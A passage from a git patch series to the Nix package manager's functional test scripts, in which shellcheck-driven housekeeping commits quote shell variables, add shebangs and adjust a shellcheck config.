test("'"$NIX_STORE_DIR"'.*\\.drv")), .outputs.out == null ] | all' fi From 80c44138cb62f41f6b198d8a3a317a650f11f64e Mon Sep 17 00:00:00 2001 From: Cameron Dart <8763518+SkamDart@users.noreply.github.com> Date: Mon, 3 Jun 2024 13:50:30 -0700 Subject: [PATCH 0778/1251] housekeeping: shellcheck for tests/functional/ca/build-cache.sh Co-authored-by: Sandro --- .shellcheckrc | 2 ++ tests/functional/binary-cache.sh | 22 +++++++++++----------- tests/functional/ca/build-cache.sh | 7 ++++--- 3 files changed, 17 insertions(+), 14 deletions(-) diff --git a/.shellcheckrc b/.shellcheckrc index 662e2045c..de98055f7 100644 --- a/.shellcheckrc +++ b/.shellcheckrc @@ -1,2 +1,4 @@ external-sources=true source-path=SCRIPTDIR +# Hack for scripts in e.g. tests/functional/ca +source-path=SCRIPTDIR/.. diff --git a/tests/functional/binary-cache.sh b/tests/functional/binary-cache.sh index 23135359b..5ef6d89d4 100755 --- a/tests/functional/binary-cache.sh +++ b/tests/functional/binary-cache.sh @@ -14,9 +14,9 @@ clearStore clearCache outPath=$(nix-build dependencies.nix --no-out-link) -nix copy --to file://"$cacheDir" "$outPath" +nix copy --to "file://$cacheDir" "$outPath" -readarray -t paths < <(nix path-info --all --json --store file://"$cacheDir" | jq 'keys|sort|.[]' -r) +readarray -t paths < <(nix path-info --all --json --store "file://$cacheDir" | jq 'keys|sort|.[]' -r) [[ "${#paths[@]}" -eq 3 ]] for path in "${paths[@]}"; do [[ "$path" =~ -dependencies-input-0$ ]] \ @@ -25,15 +25,15 @@ for path in "${paths[@]}"; do done # Test copying build logs to the binary cache. -expect 1 nix log --store file://"$cacheDir" "$outPath" 2>&1 | grep 'is not available' -nix store copy-log --to file://"$cacheDir" "$outPath" -nix log --store file://"$cacheDir" "$outPath" | grep FOO +expect 1 nix log --store "file://$cacheDir" "$outPath" 2>&1 | grep 'is not available' +nix store copy-log --to "file://$cacheDir" "$outPath" +nix log --store "file://$cacheDir" "$outPath" | grep FOO rm -rf "$TEST_ROOT/var/log/nix" expect 1 nix log "$outPath" 2>&1 | grep 'is not available' -nix log --substituters file://"$cacheDir" "$outPath" | grep FOO +nix log --substituters "file://$cacheDir" "$outPath" | grep FOO # Test copying build logs from the binary cache. -nix store copy-log --from file://"$cacheDir" "$(nix-store -qd "$outPath")"^'*' +nix store copy-log --from "file://$cacheDir" "$(nix-store -qd "$outPath")"^'*' nix log "$outPath" | grep FOO basicDownloadTests() { @@ -166,7 +166,7 @@ badKey=$(nix key convert-secret-to-public < "$TEST_ROOT/sk2") nix key generate-secret --key-name foo.nixos.org-1 > "$TEST_ROOT/sk3" otherKey=$(nix key convert-secret-to-public < "$TEST_ROOT/sk3") -_NIX_FORCE_HTTP='' nix copy --to file://"$cacheDir"?secret-key="$TEST_ROOT"/sk1 "$outPath" +_NIX_FORCE_HTTP='' nix copy --to "file://$cacheDir"?secret-key="$TEST_ROOT"/sk1 "$outPath" # Downloading should fail if we don't provide a key. @@ -212,7 +212,7 @@ unset _NIX_FORCE_HTTP # Test 'nix verify --all' on a binary cache. -nix store verify -vvvvv --all --store file://"$cacheDir" --no-trust +nix store verify -vvvvv --all --store "file://$cacheDir" --no-trust # Test local NAR caching. @@ -226,7 +226,7 @@ rm -rfv "$cacheDir/nar" [[ $(nix store cat --store "file://$cacheDir?local-nar-cache=$narCache" "$outPath/foobar") = FOOBAR ]] -(! nix store cat --store file://"$cacheDir" "$outPath/foobar") +(! nix store cat --store "file://$cacheDir" "$outPath/foobar") # Test NAR listing generation. @@ -243,7 +243,7 @@ outPath=$(nix-build --no-out-link -E ' } ') -nix copy --to file://"$cacheDir"?write-nar-listing=1 "$outPath" +nix copy --to "file://$cacheDir"?write-nar-listing=1 "$outPath" diff -u \ <(jq -S < "$cacheDir/$(basename "$outPath" | cut -c1-32).ls") \ diff --git a/tests/functional/ca/build-cache.sh b/tests/functional/ca/build-cache.sh index 6a4080fec..5cc71823e 100644 --- a/tests/functional/ca/build-cache.sh +++ b/tests/functional/ca/build-cache.sh @@ -26,7 +26,8 @@ copyAttr () { # Note: to copy CA derivations, we need to copy the realisations, which # currently requires naming the installables, not just the derivation output # path. - nix copy --to file://$cacheDir "${args[@]}" + + nix copy --to "file://$cacheDir" "${args[@]}" } testRemoteCacheFor () { @@ -35,7 +36,7 @@ testRemoteCacheFor () { copyAttr "$derivationPath" 1 clearStore # Check nothing gets built. - buildAttr "$derivationPath" 1 --option substituters file://$cacheDir --no-require-sigs |& grepQuietInverse " will be built:" + buildAttr "$derivationPath" 1 --option substituters "file://$cacheDir" --no-require-sigs |& grepQuietInverse " will be built:" } testRemoteCache () { @@ -48,4 +49,4 @@ testRemoteCache () { } clearStore -testRemoteCache \ No newline at end of file +testRemoteCache From 627176fd54ebbd7a8411fd736f5ca6c7cd02e197 Mon Sep 17 00:00:00 2001 From: Cameron Dart <8763518+SkamDart@users.noreply.github.com> Date: Mon, 3 Jun 2024 13:50:50 -0700 Subject: [PATCH 0779/1251] housekeeping: shellcheck for tests/functional/ca/build.sh --- tests/functional/ca/build.sh | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/tests/functional/ca/build.sh b/tests/functional/ca/build.sh index e1a8a7625..e5ad9d2a0 100644 --- a/tests/functional/ca/build.sh +++ b/tests/functional/ca/build.sh @@ -20,11 +20,11 @@ testDeterministicCA () { testCutoffFor () { local out1 out2 - out1=$(buildAttr $1 1) + out1=$(buildAttr "$1" 1) # The seed only changes the root derivation, and not it's output, so the # dependent derivations should only need to be built once. buildAttr rootCA 2 - out2=$(buildAttr $1 2 -j0) + out2=$(buildAttr "$1" 2 -j0) test "$out1" == "$out2" } @@ -41,7 +41,7 @@ testGC () { nix-instantiate ./content-addressed.nix -A rootCA --arg seed 5 nix-collect-garbage --option keep-derivations true clearStore - buildAttr rootCA 1 --out-link $TEST_ROOT/rootCA + buildAttr rootCA 1 --out-link "$TEST_ROOT"/rootCA nix-collect-garbage buildAttr rootCA 1 -j0 } @@ -55,7 +55,7 @@ testNixCommand () { testNormalization () { clearStore outPath=$(buildAttr rootCA 1) - test "$(stat -c %Y $outPath)" -eq 1 + test "$(stat -c %Y "$outPath")" -eq 1 } clearStore From 2dfbba3e5e075ecbf6ddd3fb90ecee3003db85ec Mon Sep 17 00:00:00 2001 From: Cameron Dart <8763518+SkamDart@users.noreply.github.com> Date: Mon, 3 Jun 2024 13:52:29 -0700 Subject: [PATCH 0780/1251] housekeeping: shellcheck for tests/functional/ca/derivation-json.sh --- tests/functional/ca/derivation-json.sh | 18 ++++++++++-------- 1 file changed, 10 insertions(+), 8 deletions(-) diff --git a/tests/functional/ca/derivation-json.sh b/tests/functional/ca/derivation-json.sh index c1480fd17..1e2a8fe35 100644 --- a/tests/functional/ca/derivation-json.sh +++ b/tests/functional/ca/derivation-json.sh @@ -1,29 +1,31 @@ +#!/usr/bin/env bash +# source common.sh export NIX_TESTS_CA_BY_DEFAULT=1 drvPath=$(nix-instantiate ../simple.nix) -nix derivation show $drvPath | jq .[] > $TEST_HOME/simple.json +nix derivation show "$drvPath" | jq .[] > "$TEST_HOME"/simple.json -drvPath2=$(nix derivation add < $TEST_HOME/simple.json) +drvPath2=$(nix derivation add < "$TEST_HOME"/simple.json) [[ "$drvPath" = "$drvPath2" ]] # Content-addressed derivations can be renamed. -jq '.name = "foo"' < $TEST_HOME/simple.json > $TEST_HOME/foo.json -drvPath3=$(nix derivation add --dry-run < $TEST_HOME/foo.json) +jq '.name = "foo"' < "$TEST_HOME"/simple.json > "$TEST_HOME"/foo.json +drvPath3=$(nix derivation add --dry-run < "$TEST_HOME"/foo.json) # With --dry-run nothing is actually written [[ ! -e "$drvPath3" ]] # But the JSON is rejected without the experimental feature -expectStderr 1 nix derivation add < $TEST_HOME/foo.json --experimental-features nix-command | grepQuiet "experimental Nix feature 'ca-derivations' is disabled" +expectStderr 1 nix derivation add < "$TEST_HOME"/foo.json --experimental-features nix-command | grepQuiet "experimental Nix feature 'ca-derivations' is disabled" # Without --dry-run it is actually written -drvPath4=$(nix derivation add < $TEST_HOME/foo.json) +drvPath4=$(nix derivation add < "$TEST_HOME"/foo.json) [[ "$drvPath4" = "$drvPath3" ]] [[ -e "$drvPath3" ]] # The modified derivation read back as JSON matches -nix derivation show $drvPath3 | jq .[] > $TEST_HOME/foo-read.json -diff $TEST_HOME/foo.json $TEST_HOME/foo-read.json +nix derivation show "$drvPath3" | jq .[] > "$TEST_HOME"/foo-read.json +diff "$TEST_HOME"/foo.json "$TEST_HOME"/foo-read.json From 195c0da849e924ac0eee3583cace931eca158a3f Mon Sep 17 00:00:00 2001 From: Cameron Dart <8763518+SkamDart@users.noreply.github.com> Date: Mon, 3 Jun 2024 13:54:17 -0700 Subject: [PATCH 0781/1251] housekeeping: shellcheck for tests/functional/ca/duplicate-realisation-in-closure.sh --- tests/functional/ca/duplicate-realisation-in-closure.sh | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/tests/functional/ca/duplicate-realisation-in-closure.sh b/tests/functional/ca/duplicate-realisation-in-closure.sh index da9cd8fb4..0baf15cc2 100644 --- a/tests/functional/ca/duplicate-realisation-in-closure.sh +++ b/tests/functional/ca/duplicate-realisation-in-closure.sh @@ -1,3 +1,5 @@ +#!/usr/bin/env bash + source ./common.sh requireDaemonNewerThan "2.4pre20210625" @@ -5,7 +7,7 @@ requireDaemonNewerThan "2.4pre20210625" export REMOTE_STORE_DIR="$TEST_ROOT/remote_store" export REMOTE_STORE="file://$REMOTE_STORE_DIR" -rm -rf $REMOTE_STORE_DIR +rm -rf "$REMOTE_STORE_DIR" clearStore # Build dep1 and push that to the binary cache. From deacc421eb5bc53260ece90ce8cd1593ea7f7769 Mon Sep 17 00:00:00 2001 From: Cameron Dart <8763518+SkamDart@users.noreply.github.com> Date: Mon, 3 Jun 2024 13:54:41 -0700 Subject: [PATCH 0782/1251] housekeeping: shellcheck for tests/functional/ca/nix-copy.sh --- tests/functional/ca/nix-copy.sh | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/tests/functional/ca/nix-copy.sh b/tests/functional/ca/nix-copy.sh index 7a8307a4e..f77b00030 100755 --- a/tests/functional/ca/nix-copy.sh +++ b/tests/functional/ca/nix-copy.sh @@ -15,13 +15,13 @@ testOneCopy () { rm -rf "$REMOTE_STORE_DIR" attrPath="$1" - nix copy --to $REMOTE_STORE "$attrPath" --file ./content-addressed.nix + nix copy --to "$REMOTE_STORE" "$attrPath" --file ./content-addressed.nix ensureCorrectlyCopied "$attrPath" # Ensure that we can copy back what we put in the store clearStore - nix copy --from $REMOTE_STORE \ + nix copy --from "$REMOTE_STORE" \ --file ./content-addressed.nix "$attrPath" \ --no-check-sigs } From 8f8553762960de9b1ff0d8add46ab9bc18cd76c5 Mon Sep 17 00:00:00 2001 From: Cameron Dart <8763518+SkamDart@users.noreply.github.com> Date: Mon, 3 Jun 2024 13:54:42 -0700 Subject: [PATCH 0783/1251] housekeeping: shellcheck for tests/functional/ca/nix-run.sh --- tests/functional/ca/nix-run.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/tests/functional/ca/nix-run.sh b/tests/functional/ca/nix-run.sh index 5f46518e8..920950c11 100755 --- a/tests/functional/ca/nix-run.sh +++ b/tests/functional/ca/nix-run.sh @@ -4,4 +4,4 @@ source common.sh FLAKE_PATH=path:$PWD -nix run --no-write-lock-file $FLAKE_PATH#runnable +nix run --no-write-lock-file "$FLAKE_PATH#runnable" From 04876c39e46758a7445d390aa679b090248f7c4f Mon Sep 17 00:00:00 2001 From: Cameron Dart <8763518+SkamDart@users.noreply.github.com> Date: Mon, 3 Jun 2024 13:57:25 -0700 Subject: [PATCH 0784/1251] housekeeping: shellcheck for tests/functional/ca/signatures.sh --- tests/functional/ca/signatures.sh | 12 +++++++----- 1 file changed, 7 insertions(+), 5 deletions(-) diff --git a/tests/functional/ca/signatures.sh b/tests/functional/ca/signatures.sh index eb18a4130..f69a205d2 100644 --- a/tests/functional/ca/signatures.sh +++ b/tests/functional/ca/signatures.sh @@ -1,10 +1,12 @@ +#!/usr/bin/env bash + source common.sh clearStore clearCache -nix-store --generate-binary-cache-key cache1.example.org $TEST_ROOT/sk1 $TEST_ROOT/pk1 -pk1=$(cat $TEST_ROOT/pk1) +nix-store --generate-binary-cache-key cache1.example.org "$TEST_ROOT/sk1" "$TEST_ROOT/pk1" +pk1=$(cat "$TEST_ROOT/pk1") export REMOTE_STORE_DIR="$TEST_ROOT/remote_store" export REMOTE_STORE="file://$REMOTE_STORE_DIR" @@ -19,16 +21,16 @@ testOneCopy () { rm -rf "$REMOTE_STORE_DIR" attrPath="$1" - nix copy -vvvv --to $REMOTE_STORE "$attrPath" --file ./content-addressed.nix \ + nix copy -vvvv --to "$REMOTE_STORE" "$attrPath" --file ./content-addressed.nix \ --secret-key-files "$TEST_ROOT/sk1" --show-trace ensureCorrectlyCopied "$attrPath" # Ensure that we can copy back what we put in the store clearStore - nix copy --from $REMOTE_STORE \ + nix copy --from "$REMOTE_STORE" \ --file ./content-addressed.nix "$attrPath" \ - --trusted-public-keys $pk1 + --trusted-public-keys "$pk1" } for attrPath in rootCA dependentCA transitivelyDependentCA dependentNonCA dependentFixedOutput; do From 259b502773849afe385b473c48e852eb7bb7e9bd Mon Sep 17 00:00:00 2001 From: Cameron Dart <8763518+SkamDart@users.noreply.github.com> Date: Mon, 3 Jun 2024 14:14:23 -0700 Subject: [PATCH 0785/1251] housekeeping: shellcheck for tests/functional/ca/substitute.sh --- tests/functional/ca/substitute.sh | 13 +++++++------ 1 file changed, 7 insertions(+), 6 deletions(-) diff --git a/tests/functional/ca/substitute.sh b/tests/functional/ca/substitute.sh index ea981adc4..76cedb4bc 100644 --- a/tests/functional/ca/substitute.sh +++ b/tests/functional/ca/substitute.sh @@ -4,9 +4,10 @@ source common.sh +# shellcheck disable=SC1111 needLocalStore "“--no-require-sigs” can’t be used with the daemon" -rm -rf $TEST_ROOT/binary_cache +rm -rf "$TEST_ROOT"/binary_cache export REMOTE_STORE_DIR=$TEST_ROOT/binary_cache export REMOTE_STORE=file://$REMOTE_STORE_DIR @@ -17,11 +18,11 @@ buildDrvs () { # Populate the remote cache clearStore -nix copy --to $REMOTE_STORE --file ./content-addressed.nix +nix copy --to "$REMOTE_STORE" --file ./content-addressed.nix # Restart the build on an empty store, ensuring that we don't build clearStore -buildDrvs --substitute --substituters $REMOTE_STORE --no-require-sigs -j0 transitivelyDependentCA +buildDrvs --substitute --substituters "$REMOTE_STORE" --no-require-sigs -j0 transitivelyDependentCA # Check that the thing we’ve just substituted has its realisation stored nix realisation info --file ./content-addressed.nix transitivelyDependentCA # Check that its dependencies have it too @@ -63,9 +64,9 @@ clearStore # Add the realisations of rootCA to the cachecache clearCacheCache export _NIX_FORCE_HTTP=1 -buildDrvs --substitute --substituters $REMOTE_STORE --no-require-sigs -j0 +buildDrvs --substitute --substituters "$REMOTE_STORE" --no-require-sigs -j0 # Try rebuilding, but remove the realisations from the remote cache to force # using the cachecache clearStore -rm $REMOTE_STORE_DIR/realisations/* -buildDrvs --substitute --substituters $REMOTE_STORE --no-require-sigs -j0 +rm "$REMOTE_STORE_DIR"/realisations/* +buildDrvs --substitute --substituters "$REMOTE_STORE" --no-require-sigs -j0 From d7bb5bde48acbc9be46933344cc6c7d47c43a1df Mon Sep 17 00:00:00 2001 From: Cameron Dart <8763518+SkamDart@users.noreply.github.com> Date: Mon, 3 Jun 2024 14:14:46 -0700 Subject: [PATCH 0786/1251] housekeeping: shellcheck for tests/functional/check-refs.sh --- tests/functional/check-refs.sh | 34 +++++++++++++++++----------------- 1 file changed, 17 insertions(+), 17 deletions(-) diff --git a/tests/functional/check-refs.sh b/tests/functional/check-refs.sh index 2cebdd84d..6534e55c6 100755 --- a/tests/functional/check-refs.sh +++ b/tests/functional/check-refs.sh @@ -6,42 +6,42 @@ clearStore RESULT=$TEST_ROOT/result -dep=$(nix-build -o $RESULT check-refs.nix -A dep) +dep=$(nix-build -o "$RESULT" check-refs.nix -A dep) # test1 references dep, not itself. -test1=$(nix-build -o $RESULT check-refs.nix -A test1) -nix-store -q --references $test1 | grepQuietInverse $test1 -nix-store -q --references $test1 | grepQuiet $dep +test1=$(nix-build -o "$RESULT" check-refs.nix -A test1) +nix-store -q --references "$test1" | grepQuietInverse "$test1" +nix-store -q --references "$test1" | grepQuiet "$dep" # test2 references src, not itself nor dep. -test2=$(nix-build -o $RESULT check-refs.nix -A test2) -nix-store -q --references $test2 | grepQuietInverse $test2 -nix-store -q --references $test2 | grepQuietInverse $dep -nix-store -q --references $test2 | grepQuiet aux-ref +test2=$(nix-build -o "$RESULT" check-refs.nix -A test2) +nix-store -q --references "$test2" | grepQuietInverse "$test2" +nix-store -q --references "$test2" | grepQuietInverse "$dep" +nix-store -q --references "$test2" | grepQuiet aux-ref # test3 should fail (unallowed ref). -(! nix-build -o $RESULT check-refs.nix -A test3) +(! nix-build -o "$RESULT" check-refs.nix -A test3) # test4 should succeed. -nix-build -o $RESULT check-refs.nix -A test4 +nix-build -o "$RESULT" check-refs.nix -A test4 # test5 should succeed. -nix-build -o $RESULT check-refs.nix -A test5 +nix-build -o "$RESULT" check-refs.nix -A test5 # test6 should fail (unallowed self-ref). -(! nix-build -o $RESULT check-refs.nix -A test6) +(! nix-build -o "$RESULT" check-refs.nix -A test6) # test7 should succeed (allowed self-ref). -nix-build -o $RESULT check-refs.nix -A test7 +nix-build -o "$RESULT" check-refs.nix -A test7 # test8 should fail (toFile depending on derivation output). -(! nix-build -o $RESULT check-refs.nix -A test8) +(! nix-build -o "$RESULT" check-refs.nix -A test8) # test9 should fail (disallowed reference). -(! nix-build -o $RESULT check-refs.nix -A test9) +(! nix-build -o "$RESULT" check-refs.nix -A test9) # test10 should succeed (no disallowed references). -nix-build -o $RESULT check-refs.nix -A test10 +nix-build -o "$RESULT" check-refs.nix -A test10 if isDaemonNewer 2.12pre20230103; then if ! isDaemonNewer 2.16.0; then @@ -50,6 +50,6 @@ if isDaemonNewer 2.12pre20230103; then fi # test11 should succeed. - test11=$(nix-build -o $RESULT check-refs.nix -A test11) + test11=$(nix-build -o "$RESULT" check-refs.nix -A test11) [[ -z $(nix-store -q --references "$test11") ]] fi From 4f04006bc14c865acae67ee1890b72af2bd430a6 Mon Sep 17 00:00:00 2001 From: Cameron Dart <8763518+SkamDart@users.noreply.github.com> Date: Mon, 3 Jun 2024 14:14:48 -0700 Subject: [PATCH 0787/1251] housekeeping: shellcheck for tests/functional/check-reqs.sh --- tests/functional/check-reqs.sh | 16 ++++++++-------- 1 file changed, 8 insertions(+), 8 deletions(-) diff --git a/tests/functional/check-reqs.sh b/tests/functional/check-reqs.sh index 2bcd558fd..4d795391e 100755 --- a/tests/functional/check-reqs.sh +++ b/tests/functional/check-reqs.sh @@ -6,13 +6,13 @@ clearStore RESULT=$TEST_ROOT/result -nix-build -o $RESULT check-reqs.nix -A test1 +nix-build -o "$RESULT" check-reqs.nix -A test1 -(! nix-build -o $RESULT check-reqs.nix -A test2) -(! nix-build -o $RESULT check-reqs.nix -A test3) -(! nix-build -o $RESULT check-reqs.nix -A test4) 2>&1 | grepQuiet 'check-reqs-dep1' -(! nix-build -o $RESULT check-reqs.nix -A test4) 2>&1 | grepQuiet 'check-reqs-dep2' -(! nix-build -o $RESULT check-reqs.nix -A test5) -(! nix-build -o $RESULT check-reqs.nix -A test6) +(! nix-build -o "$RESULT" check-reqs.nix -A test2) +(! nix-build -o "$RESULT" check-reqs.nix -A test3) +(! nix-build -o "$RESULT" check-reqs.nix -A test4) 2>&1 | grepQuiet 'check-reqs-dep1' +(! nix-build -o "$RESULT" check-reqs.nix -A test4) 2>&1 | grepQuiet 'check-reqs-dep2' +(! nix-build -o "$RESULT" check-reqs.nix -A test5) +(! nix-build -o "$RESULT" check-reqs.nix -A test6) -nix-build -o $RESULT check-reqs.nix -A test7 +nix-build -o "$RESULT" check-reqs.nix -A test7 From 63272235e282ad0f075677883eb2812a9c68cec2 Mon Sep 17 00:00:00 2001 From: Cameron Dart <8763518+SkamDart@users.noreply.github.com> Date: Mon, 3 Jun 2024 14:51:07 -0700 Subject: [PATCH 0788/1251] housekeeping: shellcheck for tests/functional/case-hacks.sh Co-authored-by: Sandro --- tests/functional/case-hack.sh | 15 ++++++++------- 1 file changed, 8 insertions(+), 7 deletions(-) diff --git a/tests/functional/case-hack.sh b/tests/functional/case-hack.sh index fbc8242ff..48a2ab13f 100755 --- a/tests/functional/case-hack.sh +++ b/tests/functional/case-hack.sh @@ -4,18 +4,19 @@ source common.sh clearStore -rm -rf $TEST_ROOT/case +rm -rf "$TEST_ROOT/case" -opts="--option use-case-hack true" +opts=("--option" "use-case-hack" "true") # Check whether restoring and dumping a NAR that contains case # collisions is round-tripping, even on a case-insensitive system. -nix-store $opts --restore $TEST_ROOT/case < case.nar -nix-store $opts --dump $TEST_ROOT/case > $TEST_ROOT/case.nar -cmp case.nar $TEST_ROOT/case.nar -[ "$(nix-hash $opts --type sha256 $TEST_ROOT/case)" = "$(nix-hash --flat --type sha256 case.nar)" ] + +nix-store "${opts[@]}" --restore "$TEST_ROOT/case" < case.nar +nix-store "${opts[@]}" --dump "$TEST_ROOT/case" > "$TEST_ROOT/case.nar" +cmp case.nar "$TEST_ROOT/case.nar" +[ "$(nix-hash "${opts[@]}" --type sha256 "$TEST_ROOT/case")" = "$(nix-hash --flat --type sha256 case.nar)" ] # Check whether we detect true collisions (e.g. those remaining after # removal of the suffix). touch "$TEST_ROOT/case/xt_CONNMARK.h~nix~case~hack~3" -(! nix-store $opts --dump $TEST_ROOT/case > /dev/null) +(! nix-store "${opts[@]}" --dump "$TEST_ROOT/case" > /dev/null) From 48520cb71ee2b068e66b26b37554cba8ff3b69cc Mon Sep 17 00:00:00 2001 From: Cameron Dart <8763518+SkamDart@users.noreply.github.com> Date: Tue, 4 Jun 2024 12:23:17 -0700 Subject: [PATCH 0789/1251] housekeeping: shellcheck for tests/functional/chroot-store.sh --- tests/functional/chroot-store.sh | 31 ++++++++++++++++--------------- 1 file changed, 16 insertions(+), 15 deletions(-) diff --git a/tests/functional/chroot-store.sh b/tests/functional/chroot-store.sh index 60b9c50a7..741907fca 100755 --- a/tests/functional/chroot-store.sh +++ b/tests/functional/chroot-store.sh @@ -2,34 +2,34 @@ source common.sh -echo example > $TEST_ROOT/example.txt -mkdir -p $TEST_ROOT/x +echo example > "$TEST_ROOT"/example.txt +mkdir -p "$TEST_ROOT/x" export NIX_STORE_DIR=/nix2/store -CORRECT_PATH=$(cd $TEST_ROOT && nix-store --store ./x --add example.txt) +CORRECT_PATH=$(cd "$TEST_ROOT" && nix-store --store ./x --add example.txt) [[ $CORRECT_PATH =~ ^/nix2/store/.*-example.txt$ ]] -PATH1=$(cd $TEST_ROOT && nix path-info --store ./x $CORRECT_PATH) -[ $CORRECT_PATH == $PATH1 ] +PATH1=$(cd "$TEST_ROOT" && nix path-info --store ./x "$CORRECT_PATH") +[ "$CORRECT_PATH" == "$PATH1" ] -PATH2=$(nix path-info --store "$TEST_ROOT/x" $CORRECT_PATH) -[ $CORRECT_PATH == $PATH2 ] +PATH2=$(nix path-info --store "$TEST_ROOT/x" "$CORRECT_PATH") +[ "$CORRECT_PATH" == "$PATH2" ] -PATH3=$(nix path-info --store "local?root=$TEST_ROOT/x" $CORRECT_PATH) -[ $CORRECT_PATH == $PATH3 ] +PATH3=$(nix path-info --store "local?root=$TEST_ROOT/x" "$CORRECT_PATH") +[ "$CORRECT_PATH" == "$PATH3" ] # Ensure store info trusted works with local store -nix --store $TEST_ROOT/x store info --json | jq -e '.trusted' +nix --store "$TEST_ROOT/x" store info --json | jq -e '.trusted' # Test building in a chroot store. if canUseSandbox; then flakeDir=$TEST_ROOT/flake - mkdir -p $flakeDir + mkdir -p "$flakeDir" - cat > $flakeDir/flake.nix < "$flakeDir"/flake.nix < Date: Tue, 4 Jun 2024 13:32:30 -0700 Subject: [PATCH 0790/1251] housekeeping: shellcheck for tests/functional/compression-levels.sh --- tests/functional/compression-levels.sh | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/tests/functional/compression-levels.sh b/tests/functional/compression-levels.sh index 34f66c531..6a2111f10 100755 --- a/tests/functional/compression-levels.sh +++ b/tests/functional/compression-levels.sh @@ -9,16 +9,16 @@ outPath=$(nix-build dependencies.nix --no-out-link) cacheURI="file://$cacheDir?compression=xz&compression-level=0" -nix copy --to $cacheURI $outPath +nix copy --to "$cacheURI" "$outPath" -FILESIZES=$(cat ${cacheDir}/*.narinfo | awk '/FileSize: /{sum+=$2}END{print sum}') +FILESIZES=$(cat "${cacheDir}"/*.narinfo | awk '/FileSize: /{sum+=$2}END{print sum}') clearCache cacheURI="file://$cacheDir?compression=xz&compression-level=5" -nix copy --to $cacheURI $outPath +nix copy --to "$cacheURI" "$outPath" -FILESIZES2=$(cat ${cacheDir}/*.narinfo | awk '/FileSize: /{sum+=$2}END{print sum}') +FILESIZES2=$(cat "${cacheDir}"/*.narinfo | awk '/FileSize: /{sum+=$2}END{print sum}') [[ $FILESIZES -gt $FILESIZES2 ]] From 847842c4bbb33dcde0fbdad557b3776482a28a87 Mon Sep 17 00:00:00 2001 From: Cameron Dart <8763518+SkamDart@users.noreply.github.com> Date: Tue, 4 Jun 2024 13:32:33 -0700 Subject: [PATCH 0791/1251] housekeeping: shellcheck for tests/functional/derivation-json.sh --- tests/functional/derivation-json.sh | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/tests/functional/derivation-json.sh b/tests/functional/derivation-json.sh index 59c77e6c5..06f934cfe 100755 --- a/tests/functional/derivation-json.sh +++ b/tests/functional/derivation-json.sh @@ -4,11 +4,11 @@ source common.sh drvPath=$(nix-instantiate simple.nix) -nix derivation show $drvPath | jq .[] > $TEST_HOME/simple.json +nix derivation show "$drvPath" | jq .[] > "$TEST_HOME"/simple.json -drvPath2=$(nix derivation add < $TEST_HOME/simple.json) +drvPath2=$(nix derivation add < "$TEST_HOME"/simple.json) [[ "$drvPath" = "$drvPath2" ]] # Input addressed derivations cannot be renamed. -jq '.name = "foo"' < $TEST_HOME/simple.json | expectStderr 1 nix derivation add | grepQuiet "has incorrect output" +jq '.name = "foo"' < "$TEST_HOME"/simple.json | expectStderr 1 nix derivation add | grepQuiet "has incorrect output" From 1c1abefdd2c7da4873f78c8f71583294a94ae187 Mon Sep 17 00:00:00 2001 From: Cameron Dart <8763518+SkamDart@users.noreply.github.com> Date: Tue, 4 Jun 2024 13:32:35 -0700 Subject: [PATCH 0792/1251] housekeeping: shellcheck for tests/functional/dyn-drv/text-hashed-output.sh --- tests/functional/dyn-drv/text-hashed-output.sh | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/tests/functional/dyn-drv/text-hashed-output.sh b/tests/functional/dyn-drv/text-hashed-output.sh index f3e5aa93b..2cc877219 100644 --- a/tests/functional/dyn-drv/text-hashed-output.sh +++ b/tests/functional/dyn-drv/text-hashed-output.sh @@ -20,7 +20,7 @@ nix show-derivation "$drvProducingDrv" out1=$(nix-build ./text-hashed-output.nix -A producingDrv --no-out-link) -nix path-info $drv --derivation --json | jq -nix path-info $out1 --derivation --json | jq +nix path-info "$drv" --derivation --json | jq +nix path-info "$out1" --derivation --json | jq -test $out1 == $drv +test "$out1" == "$drv" From 823d53c643d195f1663cc3dc5a0aa8e6184505d4 Mon Sep 17 00:00:00 2001 From: Cameron Dart <8763518+SkamDart@users.noreply.github.com> Date: Tue, 4 Jun 2024 13:32:40 -0700 Subject: [PATCH 0793/1251] housekeeping: shellcheck for tests/functional/experimental-features.sh --- tests/functional/experimental-features.sh | 28 +++++++++++------------ 1 file changed, 14 insertions(+), 14 deletions(-) diff --git a/tests/functional/experimental-features.sh b/tests/functional/experimental-features.sh index 38f198eee..d7216992d 100755 --- a/tests/functional/experimental-features.sh +++ b/tests/functional/experimental-features.sh @@ -33,35 +33,35 @@ source common.sh NIX_CONFIG=' experimental-features = nix-command accept-flake-config = true -' expect 1 nix config show accept-flake-config 1>$TEST_ROOT/stdout 2>$TEST_ROOT/stderr -[[ $(cat $TEST_ROOT/stdout) = '' ]] -grepQuiet "Ignoring setting 'accept-flake-config' because experimental feature 'flakes' is not enabled" $TEST_ROOT/stderr -grepQuiet "error: could not find setting 'accept-flake-config'" $TEST_ROOT/stderr +' expect 1 nix config show accept-flake-config 1>"$TEST_ROOT"/stdout 2>"$TEST_ROOT"/stderr +[[ $(cat "$TEST_ROOT/stdout") = '' ]] +grepQuiet "Ignoring setting 'accept-flake-config' because experimental feature 'flakes' is not enabled" "$TEST_ROOT/stderr" +grepQuiet "error: could not find setting 'accept-flake-config'" "$TEST_ROOT/stderr" # 'flakes' experimental-feature is disabled after, ignore and warn NIX_CONFIG=' accept-flake-config = true experimental-features = nix-command -' expect 1 nix config show accept-flake-config 1>$TEST_ROOT/stdout 2>$TEST_ROOT/stderr -[[ $(cat $TEST_ROOT/stdout) = '' ]] -grepQuiet "Ignoring setting 'accept-flake-config' because experimental feature 'flakes' is not enabled" $TEST_ROOT/stderr -grepQuiet "error: could not find setting 'accept-flake-config'" $TEST_ROOT/stderr +' expect 1 nix config show accept-flake-config 1>"$TEST_ROOT"/stdout 2>"$TEST_ROOT"/stderr +[[ $(cat "$TEST_ROOT/stdout") = '' ]] +grepQuiet "Ignoring setting 'accept-flake-config' because experimental feature 'flakes' is not enabled" "$TEST_ROOT/stderr" +grepQuiet "error: could not find setting 'accept-flake-config'" "$TEST_ROOT/stderr" # 'flakes' experimental-feature is enabled before, process NIX_CONFIG=' experimental-features = 